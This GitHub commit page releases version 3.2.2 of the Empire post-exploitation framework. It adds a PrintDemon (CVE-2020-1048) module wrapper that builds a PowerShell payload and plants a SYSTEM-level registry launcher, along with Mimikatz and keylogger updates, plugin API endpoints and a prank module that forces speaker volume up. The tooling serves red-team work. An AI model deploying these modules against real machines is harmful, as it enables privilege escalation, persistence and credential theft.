Skip to content

Commit

Permalink
Merge pull request #214 from BC-SECURITY/dev
Browse files Browse the repository at this point in the history
Empire 3.2.2 Release
  • Loading branch information
Cx01N authored May 26, 2020
2 parents 6ad0bcd + 561646a commit b90e2c9
Show file tree
Hide file tree
Showing 11 changed files with 372 additions and 8 deletions.
2 changes: 1 addition & 1 deletion VERSION
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.2.1
3.2.2
9 changes: 9 additions & 0 deletions changelog
Original file line number Diff line number Diff line change
@@ -1,3 +1,12 @@
5/25/2020
------------
- Version 3.2.2 Master Release
- Added Invoke-PrintDemon module (@Hubbl3, @Cx01N)
- Updated Mimikatz 2.2.0 20200519 Windows 10 2004 (build 19041) (@Cx01N)
- Fixed youtube URL in trollsploit/thunderstruck (@Gutters2Gardens)
- Added API endpoints for plugins (@Hubbl3)
- Fixed keylogger issue when writing to file (@Cx01N)

5/10/2020
------------
- Version 3.2.1 Master Release
Expand Down
4 changes: 2 additions & 2 deletions data/module_source/credentials/Invoke-Mimikatz.ps1

Large diffs are not rendered by default.

179 changes: 179 additions & 0 deletions data/module_source/privesc/Invoke-PrintDemon.ps1

Large diffs are not rendered by default.

31 changes: 31 additions & 0 deletions empire
Original file line number Diff line number Diff line change
Expand Up @@ -1397,6 +1397,37 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
status = u.update_password(uid, request.json['password'])
return jsonify({'success': status})

@app.route('/api/plugin/<string:plugin_name>', methods=['GET'])
def get_plugin(plugin_name):
#check if the plugin has already been loaded
if plugin_name not in empireMenu.loadedPlugins.keys():
try:
empireMenu.do_plugin(plugin_name)
except:
return make_response(jsonify({'error': 'plugin %s not found' % (plugin_name)}), 400)
#get the commands available to the user. This can probably be done in one step if desired
commands = empireMenu.loadedPlugins[plugin_name].get_commands()
return jsonify(commands)

@app.route('/api/plugin/<string:plugin_name>', methods=['POST'])
def execute_plugin(plugin_name):
#check if the plugin has been loaded
if plugin_name not in empireMenu.loadedPlugins.keys():
return make_response(jsonify({'error': 'plugin %s not loaded' % (plugin_name)}), 400)
else:
usePlug = empireMenu.loadedPlugins[plugin_name]
command = request.json['command']
#check if the requested command is valid
if command not in usePlug.commands.keys():
return make_response(jsonify({'error': ' %s is not a valid plugin command' % (command)}), 400)
#check if the command arguments are valid
for key, value in request.json['arguments'].items():
if key not in usePlug.commands[command]:
return make_response(jsonify({'error': 'invalid command argument'}), 400)
results = usePlug.execute(request.json)
if results == False:
return make_response(jsonify({'error': 'internal plugin error'}), 400)
return jsonify(results)

if not os.path.exists('./data/empire-chain.pem'):
print("[!] Error: cannot find certificate ./data/empire-chain.pem")
Expand Down
1 change: 0 additions & 1 deletion lib/common/agents.py
Original file line number Diff line number Diff line change
Expand Up @@ -1735,7 +1735,6 @@ def process_agent_packet(self, sessionID, responseName, taskID, data):
# Update result with data
cur.execute("UPDATE results SET data=? WHERE id=?",(data, taskID))

else:
try:
keyLogTaskID = cur.execute("SELECT id FROM taskings WHERE agent=? AND data LIKE \"function Get-Keystrokes%\"", [sessionID]).fetchone()[0]
except Exception as e:
Expand Down
6 changes: 3 additions & 3 deletions lib/common/empire.py
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
from builtins import str
from builtins import range

VERSION = "3.2.1 BC-Security Fork"
VERSION = "3.2.2 BC-Security Fork"

from pydispatch import dispatcher

Expand Down Expand Up @@ -431,7 +431,7 @@ def emptyline(self):
def do_plugins(self, args):
"List all available and active plugins."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
Expand Down Expand Up @@ -461,7 +461,7 @@ def do_plugins(self, args):
def do_plugin(self, pluginName):
"Load a plugin file to extend Empire."
pluginPath = os.path.abspath("plugins")
print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
print(helpers.color("\n[*] Searching for plugins at {}".format(pluginPath)))
# From walk_packages: "Note that this function must import all packages
# (not all modules!) on the given path, in order to access the __path__
# attribute to find submodules."
Expand Down
1 change: 1 addition & 0 deletions lib/common/modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,7 @@ def load_modules(self, rootPath=''):
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
self.modules[moduleName] = mod.Module(self.mainMenu, [])
self.modules[moduleName].enabled = True

def reload_module(self, moduleToReload):
"""
Expand Down
126 changes: 126 additions & 0 deletions lib/modules/powershell/privesc/printdemon.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
from __future__ import print_function
from builtins import str
from builtins import object
from lib.common import helpers


class Module(object):

def __init__(self, mainMenu, params=[]):

# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Get Group Policy Preferences',

# list of one or more authors for the module
'Author': ['@hubbl3', '@Cx01N'],

# more verbose multi-line description of the module
'Description': 'This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048'
' is a privilege escalation vulnerability that allows a persistent'
' threat through Windows Print Spooler. The vulnerability allows an'
' unprivileged user to gain system-level privileges. Based on'
' @ionescu007 PoC. The module prints a dll named ualapi.dll which'
' is loaded to System32. The mdoule then places a launcher in the'
' registry which executes code as system on restart. This is an'
' Empire launcher PoC using PrintDemon, the CVE-2020-1048 is a'
' privilege escalation vulnerability that allows a persistent'
' threat through Windows Print Spooler. The vulnerability allows an'
' unprivileged user to gain system-level privileges. Based on '
' @ionescu007 PoC.',

# True if the module needs to run in the background
'Background' : False,

# File extension to save the file as
'OutputExtension' : "",

# if the module needs administrative privileges
'NeedsAdmin' : False,

# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,

# the module language
'Language' : 'powershell',

# the minimum language version needed
'MinLanguageVersion' : '5',

# list of any references/other comments
'Comments': ['']
}

# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is required
'Description' : 'Agent to run on.',
'Required' : True,
'Value' : ''
},
'LauncherCode' : {
# Base64 code download cradle
'Description' : 'Base64 launcher code',
'Required' : True,
'Value' : ''
},
'PrinterName': {
# The printer name to be used when registering the PrintDemon printer
'Description': 'Optional name for the registered printer',
'Required': False,
'Value': ''
}
}

# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu

# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value

def generate(self, obfuscate=False, obfuscationCommand=""):

moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-PrintDemon.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
return ""

moduleCode = f.read()
f.close()

script = moduleCode
scriptEnd = "Invoke-PrintDemon"

# Add any arguments to the end execution of the script
for option, values in self.options.items():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
else:
scriptEnd += " -" + str(option) + " " + str(values['Value'])

if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, installPath=self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
script += scriptEnd

return script
2 changes: 1 addition & 1 deletion lib/modules/powershell/trollsploit/thunderstruck.py
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""):
Param (
[Parameter(Mandatory = $False, Position = 0)]
[ValidateNotNullOrEmpty()]
[String] $VideoURL = "https://www.youtube.com/watch?v=leJ_wj7mDa0"
[String] $VideoURL = "https://www.youtube.com/watch?v=1JGkJ6bezDQ"
)
Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}}
Expand Down
19 changes: 19 additions & 0 deletions plugins/example.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
# module is imported (before the class is instantiated)
print("Hello from your new plugin!")


# this class MUST be named Plugin
class Plugin(Plugin):
description = "An example plugin."
Expand All @@ -20,6 +21,24 @@ def onLoad(self):
# you can store data here that will persist until the plugin
# is unloaded (i.e. Empire closes)
self.calledTimes = 0
self.commands = {'do_test': {'Description': 'an example of a plugin function',
'arg': 'the argument required and it''s description'
}
}

def execute(self, dict):
# This is for parsing commands through the api

try:
# esentially switches to parse the proper command to execute
if dict['command'] == 'do_test':
results = self.do_test(dict['arguments']['arg'])
return results
except:
return False

def get_commands(self):
return self.commands

def register(self, mainMenu):
""" any modifications to the mainMenu go here - e.g.
Expand Down

0 comments on commit b90e2c9

Please sign in to comment.